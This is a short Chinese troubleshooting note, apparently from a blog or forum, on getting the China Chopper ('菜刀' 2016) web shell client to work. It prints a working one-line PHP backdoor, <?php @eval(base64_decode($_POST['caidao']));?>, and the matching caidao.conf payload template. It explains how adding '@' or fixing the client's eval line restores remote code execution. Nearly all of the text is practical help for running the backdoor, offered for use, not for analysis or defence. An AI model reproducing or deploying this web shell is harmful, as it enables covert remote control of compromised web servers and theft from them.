PHP Notice: Use of undefined constant id - assumed 'id' in C:\phpStudy4IIS\WWW\test0\test1\test2\lllll.php(2) : eval()'d code on line 1
如果遇到菜刀2016版的这个问题,只要在服务器端加 @ ,就能正常使用菜刀了。
菜刀:caidao.conf 文件:
<PHP_BASE>
ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s
</PHP_BASE> // 实际的内容是eval(base64_decode($_POST[id]));
一句话木马所在服务器代码:
<?php @eval(base64_decode($_POST['caidao']));?>
而原代码是:
<?php eval(base64_decode($_POST['caidao']));?>造成菜刀不能使用
经检验,这个解决方法只适用于部分情况,这种情景下的主要原因是菜刀端少了 eval 这个命令,如正确情况:eval(base64_decode($_POST[id]));&id=%s
错误情况:base64_decode($_POST[id]);&id=%s